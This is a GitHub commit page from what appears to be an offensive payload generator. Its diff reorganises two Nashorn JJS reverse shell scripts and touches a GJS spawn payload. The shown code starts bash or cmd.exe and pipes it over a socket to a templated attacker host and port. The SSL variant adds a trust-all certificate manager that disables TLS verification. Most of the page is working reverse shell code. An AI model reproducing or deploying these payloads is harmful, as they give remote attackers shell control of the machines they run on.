Skip to content

Commit 781ce65

Browse files
committed
Fix EoFs for payload unification
1 parent b8d0719 commit 781ce65

File tree

3 files changed

+18
-21
lines changed

3 files changed

+18
-21
lines changed

payload/reverse/gjscript/glib_spawn.gjs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,4 +12,4 @@ try {
1212
output.write_bytes(new GLib.Bytes(imports.byteArray.toString(out)), null);
1313
}
1414
} catch (e) {
15-
}
15+
}

payload/reverse/jjs/reverse_shell.jjs

Lines changed: 2 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -2,22 +2,7 @@ var shell = "bash";
22
if (java.lang.System.getProperty("os.name").indexOf("Windows") != -1) {
33
shell = "cmd.exe";
44
}
5-
var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();
6-
var X509TrustManager = Java.type("javax.net.ssl.X509TrustManager");
7-
var permissiveTrustManager = Java.extend(X509TrustManager,
8-
{
9-
getAcceptedIssuers: function(){return null;},
10-
checkClientTrusted: function(certs, authType){return;},
11-
checkServerTrusted: function(certs, authType){return;}
12-
}
13-
);
14-
var trustAllCerts = [new permissiveTrustManager()];
15-
var sc = javax.net.ssl.SSLContext.getInstance("TLS");
16-
sc.init(null, trustAllCerts, new java.security.SecureRandom());
17-
var factory = sc.getSocketFactory();
18-
var s=factory.createSocket("%s", %d);
19-
s.startHandshake()
20-
5+
var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();var s=new java.net.Socket("%s", %d);
216
var socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream()));
227
var socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream()));
238
var processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream()));
@@ -43,4 +28,4 @@ while (!s.isClosed()) {
4328
}
4429

4530
p.destroy();
46-
s.close();
31+
s.close();

payload/reverse/jjs/reverse_shell_ssl.jjs

Lines changed: 15 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,20 @@ if (java.lang.System.getProperty("os.name").indexOf("Windows") != -1) {
33
shell = "cmd.exe";
44
}
55
var p=new java.lang.ProcessBuilder(shell).redirectErrorStream(true).start();
6-
var s=new java.net.Socket("%s", %d);
7-
6+
var X509TrustManager = Java.type("javax.net.ssl.X509TrustManager");
7+
var permissiveTrustManager = Java.extend(X509TrustManager,
8+
{
9+
getAcceptedIssuers: function(){return null;},
10+
checkClientTrusted: function(certs, authType){return;},
11+
checkServerTrusted: function(certs, authType){return;}
12+
}
13+
);
14+
var trustAllCerts = [new permissiveTrustManager()];
15+
var sc = javax.net.ssl.SSLContext.getInstance("TLS");
16+
sc.init(null, trustAllCerts, new java.security.SecureRandom());
17+
var factory = sc.getSocketFactory();
18+
var s=factory.createSocket("%s", %d);
19+
s.startHandshake()
820
var socketInput = new java.io.BufferedReader(new java.io.InputStreamReader(s.getInputStream()));
921
var socketOutput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(s.getOutputStream()));
1022
var processInput = new java.io.BufferedWriter(new java.io.OutputStreamWriter(p.getOutputStream()));
@@ -30,4 +42,4 @@ while (!s.isClosed()) {
3042
}
3143

3244
p.destroy();
33-
s.close();
45+
s.close();

0 commit comments

Comments
 (0)